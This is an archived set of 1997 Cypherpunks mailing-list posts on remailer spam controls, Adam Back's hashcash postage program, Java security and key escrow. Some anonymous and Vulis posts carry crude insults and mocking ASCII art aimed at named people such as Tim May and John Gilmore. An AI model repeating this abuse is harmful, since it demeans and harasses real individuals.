scrambled/encrypted.

Anarchist (Don't) Rule!

Truth Mongrel
~~~~~~~~~~~~~
Just say "No" to "Bad Dog Inside"
We got nuts, we're peeing on telephone poles, I know that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Truth Mongrel               | Doggie Anarchy: cats chased, bones buried,
tm at woof.nut                 | anonymous droppings, analog come-calling
Woof! Woof!                 | legs lifted, territories marked
"Yard fences aren't even speed bumps on the garbage sniffing alleyway."






From rah at shipwright.com  Fri Mar 28 07:13:02 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 28 Mar 1997 07:13:02 -0800 (PST)
Subject: CypherPunks Hash Distribution Network / Combined thread
In-Reply-To: <199703281314.HAA06653@wombat.sk.sympatico.ca>
Message-ID: <v0302098daf618bf34da5@[139.167.130.246]>


At 8:18 am -0500 on 3/28/97, Truth Mongrel, (probably the nym formerly
known as Rabid Wombat, possibly a disgruntled BCTEL employee now gone, um,
postal) wrote (Why? Because he can!):


>   Where else can movers and shakers like Robert Hettinga join
> in an list-takeover attempt, call for the killing of the list,
> and then, like a whirling dervish acting as his own spin doctor,
> re-appear, riding on the back of the CypherXenix rising from the
> ashes, and genuinely declare, "I *love* this list."?

Hey! A guy's allowed to change his mind (six, maybe seven, times, tops),
isn't he? :-).

(Down, boy. No! *Don't* lick me in the face! Yyyyech! Pef! Down! Who
*knows* where that tongue's been...)

Cheers,
Bob Hettinga


PS: I *love* this list.

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From dlv at bwalk.dm.com  Fri Mar 28 08:22:12 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 08:22:12 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <199703280354.VAA03151@manifold.algebra.com>
Message-ID: <TH804D2w165w@bwalk.dm.com>


ichudov at algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Hal Finney <hal at rain.org> writes:
> > > For example, one idea is to have a list of people who are willing to
> > > receive anonymous mail without questions.  It could be that the remailer
> > > is set up to ask before sending mail normally, but to people on such a
> > > list it doesn't have to ask, it just sends it, because they have given
> > > permission.
> > >
> > > Some people have objected to this proposal because the existence of the
> > > list might give a hint about which people send mail through the remailers
> > > Even though the list is of people willing to *receive* anonymous mail,
> > > it could well be that there is a strong correlation with people who want
> > > to send such mail.
> > 
> > Instead of keeping this list in cleartext, one could keep 1-way hashes
> > of the addresses. Thus a remailer (or anyone) can check whether a given
> > address is on the list, but they can't just go through the list and
> > "investigate" the addresses on it.
> 
> Well, they can compile the list of addresses off of USENET postings and
> such and then compute the hashes of the compiled names and identify
> those that are on the anon acceptance list. Not that it completely
> invalidates the idea, but certainly it is a problem.
> 
> 	- Igor.
> 

That's a valid point.  One can obtain a list of "suspected" addreses,
say, from the subscribers to the cp list(s), and run that against the
hashed lists.

Another feature I really don't like about asking the first-time recipients
to agree to accept e-mail while it's on the reamailer is:

With the present scheme, if a remailer is "raided", it has precious little
interesting stuff on it at any one time. Now consider the scenario:

X sends 1000 copies of child porn/seditious libel to 100 people believed not
to be using remailers right now.  The remailer keeps the 100 e-mails onits
hard disk and e-mails each receipient a ping, inviting them to agree to the
disclaimer terms and to retrieve their anonymous e-mail.  The first recipient
to retrieve the e-mail gets upset and contacts the feds.  The feds figure, the
remailer still has the 99 other e-mails and the information on who's supposed
to receive them in its queue; why not seize it and take a look.


I just came up with another idea which definitely has some holes in it,
but perhaps someone wants to improve on it.

There's a big distributed database of pgp keys on the several keyservers.
Add a bit to the database specifying whether the key owner wants to receive
anonymous e-mail.  By default set it to true for the existing addresses.

When the final remailer in the chain wants to send someone an anonymous
message, it attempts to retrieve a key from the keyservers.

If it fails to find a key, it junks the mail (you don't want to keep it
around, it's baiting the LEAs!) and instead sends a notification to the
recipient that some anon e-mail was addressed to it, but it was junked;
and if they want to receive anon e-mail, they need to give a pgp key
to one of the key servers this remailer uses.

If it finds a key, it looks at the anon mail bit; if it's on, it encrypts 
the e-mail with the recipient's key and sends it; otherwise it junks it.

Obviously, the key servers would need to be modified to allow users to
specify whether they want anon e-mail when then store their keys, and
to change this setting any time.

Right now, there's a very large number of addresses in the key servers.
Instantly making them into a list of addresses that accept anon mail
will make it hard (hopefully infeasible) for the LEAs to investigate
everyone willing to accept anon e-mail as a suspect in sending it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From aba at dcs.ex.ac.uk  Fri Mar 28 08:57:18 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 28 Mar 1997 08:57:18 -0800 (PST)
Subject: [ANNOUNCE] hash cash postage implementation
Message-ID: <199703281652.QAA03299@server.test.net>



A partial hash collision based postage scheme

I've been talking about a partial hash collision based postage scheme
on the crypto lists for the last few days. The idea of using partial
hashes is that they can be made arbitrarily expensive to compute (by
choosing the desired number of bits of collision), and yet can be
verified instantly.

A first cut implementation of these ideas can be fetched from here:

   * hashcash.tgz
   * PGP signature of hashcash.tgz

I will describe what the implementation allows by example, using the program
so you can follow along if you wish.

There is an integrated partial hash collision generator (hashcash mint) and
remailer plug-in. The remailer plug-in should be easy to hook into typeI
remailers. typeII or nymserver would require modifying the mixmaster
client/remailer, the code has been designed to make this relatively easy to
do, and link directly into mixmaster, or alpha or newnym.

Compiling

        % gcc -O6 -c *.c
        % gcc -o hashcash hashcash.o sha1.o
        % gcc -o sha1 sha1file.o sha1.o
        % gcc -o sha1test sha1test.o sha1.o
        %

The functions provided by the program are

Run with no arguments and it prints a list of flags and terse usage
instructions.

Speed test:

        % hashcash -t
        speed: 7218 hashes per sec
        %

This tells you the number of hashes it can search per second. (Note, the
implementation of sha1 it is using is not optimised, it is my reference
implementation. I have another speed freak sha1 implementation which needs
1/2 hrs work, and has the same interface, so I'll plug it in later. It's
commented in sha1.c).

Estimate time required to find 17-bit partial hash collision:

        % hashcash -t -17
        speed: 7274 hashes per sec
        find: 17 bit partial sha1 collision
        estimate: 9 seconds
        %

(varies quite widely from estimated time)

Calculate a 17 bit collision on string "flame"

(flame is a now dead remailer):

        % hashcash -17 flame
        speed: 7274 hashes per sec
        find: 17 bit partial sha1 collision
        collision: 09948flame356018443
        tries: 57450
        %

The collision is actually found on the hash of the date since Jan 1 1970 in
days (5 digit leading zero filled) and string given.

So the collision is found on:

        % echo -n 09948flame | sha1
        fbbea210abafe3e72afe7849eaea2052e309e017
        %

The collision that was found can be seen manually as the collision is
constrained to be the MSbits of the digest:

        % echo -n 09948flame356018443 | sha1
        fbbead76da651cf856f7466fed9624d3ada061d9
        %

You can manually see that the first 20 bits match. (Note we asked for a 17
bit hash, but it generates a 17 bit or larger hash. We just got lucky and
got an extra 3 bits, which would happen about 1 time in 8).

The hashcash client can also report on a collision:

        % hashcash flame 09948flame356018443
        collision: 20 bits
        %

You can check on the validity period as compared to todays date:

        % hashcash flame 09948flame356018443 28
        validity: 28 days remaining
        collision: 20 bits
        %

You can check that a hash has a requested number of bits:

        % hashcash -25 flame 09948flame356018443
        collision: 20 bits
        required: 25 bits
        rejected: too few bits
        %

The exit status is set to failure if any of the tests fail: ie if there are
too few bits, or if you do a validity check and the hash has expired, or
isn't yet in it's validity period.

Double spending protection

You can also ask the hashcash client to remember collisions within a
selected validity period.

        % hashcash -d -25 flame 09948flame356018443 28
        validity: 28 days remaining
        collision: 20 bits
        required: 20 bits
        database: not double spent
        adding: 28 09948flame356018443
        %

The collision will only be added if all the tests pass (in validity period,
required number of bits). The exit status also tells you if the hash was ok.

The database would grow indefinately as the mailer accepted new payments, so
the validity period is stored in the database, and at the next use of the
database after the validity period expires, the collision will be discarded.
There is no need to keep expired collisions around because we wouldn't
accetp it anyway because it's out of date, so who cares if we've previously
accepted it. A validity period of 0 means valid forever, and it will never
be discarded from the database.

An example of double spending

A new test now is whether a hash has been presented before, so we the above
command and expect it to be rejected as already spent, because it is in the
database:

        % hashcash -d -25 flame 09948flame356018443 28
        validity: 28 days remaining
        collision: 20 bits
        required: 25 bits
        rejected: too few bits
        database: double spent
        %

(exit status is set to failure, due to double spent cash)

That's it

It's very lightly tested, so if anything breaks let me know.

It's got some inefficiencies in places, but working code comes first,
efficiency later.

(Also I have not tested my SHA1 implementation on a big endian machine, it
auto-detects byte endian-ness, theoretically).

Remailer applications discussed so far

   * exit remailer postage per post
   * spam filter on mail you receive, if it hasn't got a 20 bit hash, or 1c
     digicash you have a program which bounces it with a notice explaining
     the required postage, and where to obtain software from. This would put
     spammers out of business overnight, as 1,000,000 x 20 = 100 MIP years
     which is going to be more compute than they've got, and 1,000,000 x 1c
     = $10,000 is going to be more than they are likely to make through
     sales interest from the spam.
   * good behaviour bond for nymserver users. The nymserver user pays the
     nymserver (in a largish hash collision, or $25 digicash) for a
     replyable nymserver account. They agree an contract with the penalty
     clause that breaking the contract means the nymserver keeps the
     digicash/collision, and disables the account. They user's identity
     isn't known, but to join in again they have to pay up another large
     hash collision or more digicash.
   * there are lots of other ideas to play with.

How does this fit in with digicash

Digicash postage on remailers, and mail would be useful, however there are a
number of problems with digicash:

   * It is more onerous to set up an account (form filling etc)
   * Not many people have accounts
   * It's only anonymous for the payer anonymous (and not anonymous for the
     seller)

So my suggestion is that we have remailers which accept either hash
collision postage, or digicash postage. The advantages of this approach are:

   * Hashcash may provide a stop gap measure until digicash becomes more
     widely used
   * Hashcash is free, all you've got to do is burn some cycles on your PC.
     It is in keeping with net culture of free discourse, where the
     financially challenged can duke it out with millionaires, retired
     government officials, etc on equal terms.
   * Hashcash may provide us with a fall back method for controling spam if
     digicash goes sour (gets outlawed or required to escrow user
     identities).

Any comments, code, etc gratefully received.  A couple of remailers
alpha testing it would be nice also.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From real at freenet.edmonton.ab.ca  Fri Mar 28 09:21:13 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 28 Mar 1997 09:21:13 -0800 (PST)
Subject: your mail
In-Reply-To: <199703280443.UAA07280@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970328101744.103646A-100000@fn2.freenet.edmonton.ab.ca>


On Thu, 27 Mar 1997, Mix wrote:

>From the sick mind of Vulis

> Timothy C[reep] May's family tree goes straight 
> up. All of his ancestors were siblings, to dumb 
> to recognize each other in the dark.
> 
>         /\ o-/\  Timothy C[reep] May
>        ///\|/\\\
>       /   /|\   \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From mycroft at actrix.gen.nz  Fri Mar 28 09:46:27 1997
From: mycroft at actrix.gen.nz (Paul Foley)
Date: Fri, 28 Mar 1997 09:46:27 -0800 (PST)
Subject: spam
In-Reply-To: <V5H74D19w165w@bwalk.dm.com>
Message-ID: <199703281745.FAA08525@mycroft.actrix.gen.nz>


On Wed, 26 Mar 97 09:58:54 EST, Dimitri Vulis KOTM wrote:

    > A while back we discussed on the cp mailing list a spec for a system that
    > provide junk e-mailers for free with a list of (hashed) addresses that
    > should be removed from any mass e-mail lists. Is anyone interested in
    > talking about the technical aspects of such a system?

Is there really anything to talk about?

I just implemented such a thing using SHA1 hashes.  Source code, a
database consisting of my address, and a Linux binary are available
(volunteers to compile other binaries, provide an FTP server, or add
their address(es) are welcome!)

It can add and delete addresses, check whether addresses are blocked,
and filter a list of addresses from stdin.  The database is stored as
a text file with the hexadecimal representation of the hashes written
one per line [actually, the first 0<=n<=5 digits of the hash are
appended to the file name, using multiple files to improve search
speed.]

-- 
Paul Foley <mycroft at actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
A father doesn't destroy his children.
		-- Lt. Carolyn Palamas, "Who Mourns for Adonais?",
		   stardate 3468.1.





From dlv at bwalk.dm.com  Fri Mar 28 11:03:14 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 28 Mar 1997 11:03:14 -0800 (PST)
Subject: CypherPunks Hash Distribution Network / Combined thread
In-Reply-To: <v0302098daf618bf34da5@[139.167.130.246]>
Message-ID: <eeca5D1w165w@bwalk.dm.com>


Robert Hettinga <rah at shipwright.com> writes:

> At 8:18 am -0500 on 3/28/97, Truth Mongrel, (probably the nym formerly
> known as Rabid Wombat, possibly a disgruntled BCTEL employee now gone, um,
> postal) wrote (Why? Because he can!):
> 
> 
> >   Where else can movers and shakers like Robert Hettinga join
> > in an list-takeover attempt, call for the killing of the list,
> > and then, like a whirling dervish acting as his own spin doctor,
> > re-appear, riding on the back of the CypherXenix rising from the
> > ashes, and genuinely declare, "I *love* this list."?
> 
> Hey! A guy's allowed to change his mind (six, maybe seven, times, tops),
> isn't he? :-).
> 
> (Down, boy. No! *Don't* lick me in the face! Yyyyech! Pef! Down! Who
> *knows* where that tongue's been...)

Hettiga's tongue is still firmly implanted up Cocksucker John Gilmore's ass.

> 
> Cheers,
> Bob Hettinga
> 
> 
> PS: I *love* this list.
> 
> -----------------
> Robert Hettinga (rah at shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "Never attribute to conspiracy what can be
> explained by stupidity." -- Jerry Pournelle
> The e$ Home Page: http://www.shipwright.com/rah/
> 
> 
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From nobody at huge.cajones.com  Fri Mar 28 11:15:38 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 28 Mar 1997 11:15:38 -0800 (PST)
Subject: Accounts payable
Message-ID: <199703281915.LAA23315@mailmasher.com>


Tim C[reep] May has been a source of endless 
embarassments to his sympathizers on and off the net.

    o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
   /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Tim C[reep] May
   / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \






From aba at dcs.ex.ac.uk  Fri Mar 28 11:22:53 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 28 Mar 1997 11:22:53 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <TH804D2w165w@bwalk.dm.com>
Message-ID: <199703281917.TAA03495@server.test.net>



Dimitri Vulis <dlv at bwalk.dm.com> writes:
> Igor Chudov <ichudov at algebra.com> writes:
> > [uses list of hashes of email addreses to reduce value of the database
> > to the attacker]
> > 
> > Well, they can compile the list of addresses off of USENET postings and
> > such and then compute the hashes of the compiled names and identify
> > those that are on the anon acceptance list. Not that it completely
> > invalidates the idea, but certainly it is a problem.
> 
> Another feature I really don't like about asking the first-time recipients
> to agree to accept e-mail while it's on the reamailer is:
> 
> With the present scheme, if a remailer is "raided", it has precious little
> interesting stuff on it at any one time. Now consider the scenario:
> 
> X sends 1000 copies of child porn/seditious libel to 100 people
> believed not to be using remailers right now.  The remailer keeps
> the 100 e-mails onits hard disk and e-mails each receipient a ping,
> inviting them to agree to the disclaimer terms and to retrieve their
> anonymous e-mail.  The first recipient to retrieve the e-mail gets
> upset and contacts the feds.  The feds figure, the remailer still
> has the 99 other e-mails and the information on who's supposed to
> receive them in its queue; why not seize it and take a look.

Here's a partial solution to that: in the ping email informing the
recipient there is mail waiting, you include a key, encrypt the
message body that you are retaining data with the key and then discard
the key.  Give a deadline: "your message will be deleted in 5 days".
They re-supply the key when they request the message.  You immediately
decrypt and send it back to them, discarding all knowledge of them
(email, encrypted message, encryption key).

One snag is that you still have addresses for recipients on your
machine so they can go harass people and ask them for the keys to the
as yet uncollected messages.

Refinement to solution (I like this one), get rid of the intended
recipients address immediately after sending the ping, just keep the
encrypted body of the message.  Include in the ping something which
reliably selects a message (say first encrypted line, SHA1 hash of
encrypted message, whatever, to save you having to try to decrypt all
of your messages).

> [keyserver with I-accept-anon-email bit consulted by remailer, no
> key in remailer => instant trash of message and ping message
> explaining how to accept anon email]

This sounds a lot like the distributed block and accept list idea
which has been discussed a bit.

I like your treatment of the remailed material as a `hot potato',
instantly pass it on or burn it.

> Right now, there's a very large number of addresses in the key servers.
> Instantly making them into a list of addresses that accept anon mail
> will make it hard (hopefully infeasible) for the LEAs to investigate
> everyone willing to accept anon e-mail as a suspect in sending it.

The per remailer block list system kind of does this at the moment,
only the list of people initially marked down as willing to accept
anon email is the world.

Everyone can recieve email, but people get blocked when they complain.

Incidentally, it has occurred to me for a while now that the reverse
problem also exists: if I suspect you (Dimitri) use remailers, I can
forge a message from you to all the remailer operators requesting that
I (ie you) be blocked.  I can include some exceedingly dire legal
threats to the remailer operator, and dig up some vile messages from
some dark corner of usenet which I falsely claim came through that
operators remailer.  As the remailer operator doesn't keep logs he
won't be able to recognize the falsehood of the accusation.

To solve this problem you need to do a ping message, "please reply
with this nonce to be blocked".

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From hallam at ai.mit.edu  Fri Mar 28 12:05:50 1997
From: hallam at ai.mit.edu (Hallam-Baker)
Date: Fri, 28 Mar 1997 12:05:50 -0800 (PST)
Subject: Microsoft ammunition (fwd)
In-Reply-To: <5hg4m8$711@life.ai.mit.edu>
Message-ID: <333C24B0.41C6@ai.mit.edu>


Jim Choate wrote:
> 
> Forwarded message:
> 
> > Date: Thu, 27 Mar 1997 16:11:50 -0600
> > From: Toto <toto at sk.sympatico.ca>
> > Subject: Microsoft ammunition
> 
> >  But, if you're tired of the repetition, here's a
> >  reason you should sit through another sermon:
> >  RandomNoise's Coda. Coda lets you design entire
> >  Web pages in Java rather than use a mixture of
> >  HTML content, tags, and Java applets.
> >
> >  A Java-based Web page removes the distinction
> >  between application and data. It presents data
> >  just as an HTML page would, but every element on
> >  the screen has the potential to be an interactive
> >  part of a sophisticated application.
> 
> Mix this with the distributed processing model of Plan 9 and you may just
> have tomorrows computer environment.


I very much hope not. We designed HTML with very specific
goals in mind, above all that the source be declarative and
machine readable. That is why HTML can be edited by the 
recipient, fed into a voice synth or index by Alta-Vista.

The Java based web pages will be opaque, just like postscript.
Try to cut and paste from ghostview to emacs. 

Merging the distinction between applet and code will give
lots of techno-geeks a nice orgasm but its the style of 
computing the Web has replaced. 

I have yet to see a single Java applet that has the slightest
functional utility. I like Java as a language, particularly 
because it has killed C++ stone dead just as everyone thought 
it had taken over the world. I don't see that anyone has done
anything with mobile code that is of interest however. If all
you want is a better user interface add some more tags into
HTML, implement Dave Raggets '94 draft perhaps.

I think the idea of using Java to move an applet from the 
client to a server is very exciting but thats not in the
Sun/Oracle game plan. 

The hypertext community had been beating the coda type model
for decades before the Web. I was skeptical then and I'm more
skeptical now. 

I turned Javascript, Active-X and Java off about 9 months back 
because I had little confidence in their security. I soon
realised I was much happier when the page did not dance about
in front of my eyes. I very rarely come to a site I can't access 
without them. If I could turn off animated Gifs as well I would 
be even happier.

I think the future of computing is much more likely to lie in
returning to simple but powerfull ideas. Presentation types,
parallel languages and genuine process oriented object systems
interest me much more.


		Phill





From announce at lists.zdnet.com  Fri Mar 28 12:10:53 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Fri, 28 Mar 1997 12:10:53 -0800 (PST)
Subject: ZDNet Special Report:  Web Tragedy
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.12281.03281997114346.139435@tahiti.merc.com>


------------------------------------------------------------------
           ZDNET ANNOUNCEMENT          3/28/97 
------------------------------------------------------------------


Join us today for our latest ZDNN news special report,"Web
Tragedy". 

Once again, we see how the Web affects us and our culture, in ways
never foreseen. Shades of Jonestown. A mass suicide. Bizarre
enough. But even more so. Reason: Even this could be tied to the
Internet. 

___"Heavens Gate" Web Site Now Accessible Via Yahoo! Internet
Life___ 

As the Heaven's Gate Web site continues to experience overload,
Yahoo! Internet Life has mirrored a major portion of the site for
Internet surfers looking for more information on the cult.   

Heaven's Gate Web site:  
http://www.zdnet.com/yil/higher/higher.html 

___ ZDNet News Special Report___ 

Visit ZDNet News for a comprehensive news package on the suicide
of the 39 Web designers, including:  video reports, insight from
inside the Net subculture itself, perspective from cult experts, a
discussion forum and the latest news as it happens. 

ZDNet News Special Report:    
http://www.zdnet.com/zdnn/heavensgate 

___ Yahoo! Internet Life Offers Report from Cult Experts___ 

Yahoo! Internet Life also offers an exclusive column by noted cult
experts Robert Siegelman and Flo Conway, who try to make sense of
the tragedy. 

Cults on the Web:   
http://www5.zdnet.com/yil/higher/cultcol1.html 

 

We'll be updating these sites continually as this story unfolds. 


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From hal at rain.org  Fri Mar 28 12:15:36 1997
From: hal at rain.org (Hal Finney)
Date: Fri, 28 Mar 1997 12:15:36 -0800 (PST)
Subject: remailer spam throttle
Message-ID: <199703281941.LAA00237@crypt.hfinney.com>


dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> With the present scheme, if a remailer is "raided", it has precious little
> interesting stuff on it at any one time. Now consider the scenario:
>
> X sends 1000 copies of child porn/seditious libel to 100 people believed not
> to be using remailers right now.  The remailer keeps the 100 e-mails onits
> hard disk and e-mails each receipient a ping, inviting them to agree to the
> disclaimer terms and to retrieve their anonymous e-mail.  The first recipient
> to retrieve the e-mail gets upset and contacts the feds.  The feds figure, the
> remailer still has the 99 other e-mails and the information on who's supposed
> to receive them in its queue; why not seize it and take a look.

This is a potential problem, but there are some other considerations.

First, there is no particular reason why one recipient of some email from
the remailer should know or even suspect that other people have the same
email waiting.

Then, to defend against raids like this, the material could be separately
encrypted to each recipient.  There would be no way to know that material
sent to one recipient matched material sent to someone else.  The raiders
would just find a bunch of encrypted files.

Of course, if it were a sting operation, with the recipients being lured
or entrapped into requesting information they shouldn't, then the sender
might avoid using these countermeasures.  However, there wouldn't really
be any need to use a remailer for a sting operation like this, it could
be done just by offering the material from an ordinary address.

More generally, I think we need to keep in mind what a remailer does and
what it doesn't do.  The essential function of the remailer is to provide
anonymity via mixing messages.  It does not provide confidentiality of
message contents.  That has to be taken care of by encryption.  And,
as I wrote yesterday, it doesn't (can't) keep secret who the people are
who send and receive anonymous mail.  All it can do is to disguise which
particular people send and receive to each other.

The same is true of a DC-net or a perfect Chaumian mixnet.  These systems
do not disguise their particpants, or protect the confidentiality of their
message contents; they only hide the knowledge of who is talking to whom.

Having said that, I do like some aspects of this idea:

> There's a big distributed database of pgp keys on the several keyservers.
> Add a bit to the database specifying whether the key owner wants to receive
> anonymous e-mail.  By default set it to true for the existing addresses.

(The "default true" is going to allow the same kinds of abuse which we
have seen in the past.  Some remailers may be able to tolerate this, but
as we have seen, many can't.)

> When the final remailer in the chain wants to send someone an anonymous
> message, it attempts to retrieve a key from the keyservers.
>
> If it fails to find a key, it junks the mail (you don't want to keep it
> around, it's baiting the LEAs!) and instead sends a notification to the
> recipient that some anon e-mail was addressed to it, but it was junked;
> and if they want to receive anon e-mail, they need to give a pgp key
> to one of the key servers this remailer uses.

This is what I like.  It's a lot simpler than trying to keep a copy of
the anonymous mail and deliver it later when the person asks for it.
Just let him know that someone is trying to reach him anonymously, and
let him enable that if he wants to be able to receive the next anonymous
message that comes in for him.  You can load his permission message down
with all kinds of disclaimers that say he knows he's likely to receive
obscene, threatening and illegal material, that he doesn't mind, that
he knows the remailer is an automated system which doesn't look at the
contents, etc.  Not only does this give you a defense but it makes the
person think about what he's getting into, so he will in fact be better
prepared when something bad comes his way.

Plus, having taken positive action to enable receiving anonymous mail, he
will hopefully be more knowledgable about how to request that you stop,
and it won't be such a big deal.  He opens the pipe, and if he gets a
face full of sewage, he closes up the pipe right away.  You warned him.

> If it finds a key, it looks at the anon mail bit; if it's on, it encrypts 
> the e-mail with the recipient's key and sends it; otherwise it junks it.
>
> Obviously, the key servers would need to be modified to allow users to
> specify whether they want anon e-mail when then store their keys, and
> to change this setting any time.

Key servers wouldn't be the only place to store this information.  I think
the remailer could keep its own list, especially if it were defaulting
to "off".  This way recipients wouldn't have to generate and submit PGP
keys, which is more work than just sending a reply to a remailer giving
the OK to receive anonymous mail.

> Right now, there's a very large number of addresses in the key servers.
> Instantly making them into a list of addresses that accept anon mail
> will make it hard (hopefully infeasible) for the LEAs to investigate
> everyone willing to accept anon e-mail as a suspect in sending it.

More cautious or politically vulnerable remailers might default in the
other direction.  It would be a matter of the individual situation.

Hal





From frantz at netcom.com  Fri Mar 28 12:48:33 1997
From: frantz at netcom.com (Bill Frantz)
Date: Fri, 28 Mar 1997 12:48:33 -0800 (PST)
Subject: Microsoft ammunition
In-Reply-To: <333AF0A6.6C81@sk.sympatico.ca>
Message-ID: <v03007808af61c44c0915@[207.94.249.140]>


>From Infoworld:
>
> March 24, 1997
>...
>             If seamless, safe desktop access to remote files
>             on the Internet is the goal, Microsoft is spinning
>             its wheels. There is really only one way to
>             provide these features without introducing a local
>             security risk. You have to eliminate the
>             possibility that anything you run can affect your
>             local drives. Better still, get rid of your local
>             drives.

The author misses the point.  Whether your personal files are stored on a
local disk or on a server doesn't matter.  What matters is whether random
downloaded code (again, Java or ActiveX doesn't matter) can use your
authority to read/modify those files.  The ActiveX model of, "It's signed
by XYZ Corp.  Of course it's safe." is so much bullshit.*  The Java
approach of running untrusted code in a safe box is better, but doing it by
validating the safety of object code requires trusting a large complex
verifier.

* See Norm Hardy's paper, "The Confused Deputy", which I believe is still
available through the EROS page at the University of Pennsylvania.


-------------------------------------------------------------------------
Bill Frantz       | Back from caving in Borneo.| Periwinkle -- Consulting
(408)356-8506     | Great caves.  We mapped    | 16345 Englewood Ave.
frantz at netcom.com | 25KM on the expedition.    | Los Gatos, CA 95032, USA







From bubba at dev.null  Fri Mar 28 13:29:27 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Fri, 28 Mar 1997 13:29:27 -0800 (PST)
Subject: WebWorld 19
Message-ID: <333C38A1.D2A@dev.null>

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From hallam at ai.mit.edu  Fri Mar 28 15:15:59 1997
From: hallam at ai.mit.edu (Hallam-Baker)
Date: Fri, 28 Mar 1997 15:15:59 -0800 (PST)
Subject: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <5heds8$mdv@life.ai.mit.edu>
Message-ID: <333C513B.446B@ai.mit.edu>


Kent Crispin wrote:

> Thus, in PGPs case at least, if you want escrowed encryption, then
> you must escrow the signature key.

Hence the DSA which is a signature algorithm that does not do
encryption. I think the use of the same key for both is a bad idea BUT
note that if you have a secure signature scheme you don't need an
encryption key at all.

Simply generate yourself a fresh set of public key parameters for each
communication in the manner of IPSEC. The hard problem of setting up
security is knowing the identity of the other party. All else pales into
insignificance in comparison.

Consider the following scenario. SMTP is adjusted so that it has a DH
key exchange crypto option. A typical conversation becomes:-

EHELO You-got-crypto-mate?
269 Yeah I have crypto
XCHAL RSA 248af23876acdef
270 [key-id] [DHparameters e, n, e^x mod n] [sig-of-challenge+DH-params] 
XENCRYPT [IV] [e^y mod n] 

[Conversation continues encrypted under key e^y^x mod n AND keybits 
padding out messages as appropriate.]


Now this type of scheme could be implemented without a certificate
infrastructure and severly increase the difficulty of snooping. In that
case the message would be sent even though [sig-of-challenge+DH-params]
was absent. But with a CA infrastructure you could make sure that you
hads contacted the correct machine, one authorised to accept mail for
fred at ibm.com] all you need is a means of hacking the following assertion
into X509v3:

"Is authorized user of DNS namespace identifier matching"

Add in a date and the protocol could be made very reilient and entirely
transparent. Now that mail is moving away from godamn awfull crap like
sendmail towards engineered systems like notes or exchange adding in
protocol extensions becomes easier.

If the mail sending agent knows that mail to a particular host should be
sent encrypted the system can be made much more transparent than PGP or
S/MIME. Like the punters might be able to use it without getting screwed
too often.


I think email security has often been the perfect being the enemy of the
good. One huge problem has been braindamaged ideas about routing email
through store and forward mailers rather than connecting to the real
destination to start with. 


	Phill





From snow at smoke.suba.com  Fri Mar 28 17:59:39 1997
From: snow at smoke.suba.com (snow)
Date: Fri, 28 Mar 1997 17:59:39 -0800 (PST)
Subject: Microsoft ammunition (fwd)
In-Reply-To: <333C24B0.41C6@ai.mit.edu>
Message-ID: <199703290221.UAA02530@smoke.suba.com>


> I have yet to see a single Java applet that has the slightest
> functional utility. I like Java as a language, particularly 
> because it has killed C++ stone dead just as everyone thought 
> it had taken over the world. I don't see that anyone has done

	Really, tell that to the market. There are still a _hell_ of a 
lot of people making a living programing in C++, and a lot of 
companies hiring C++ programmers. 

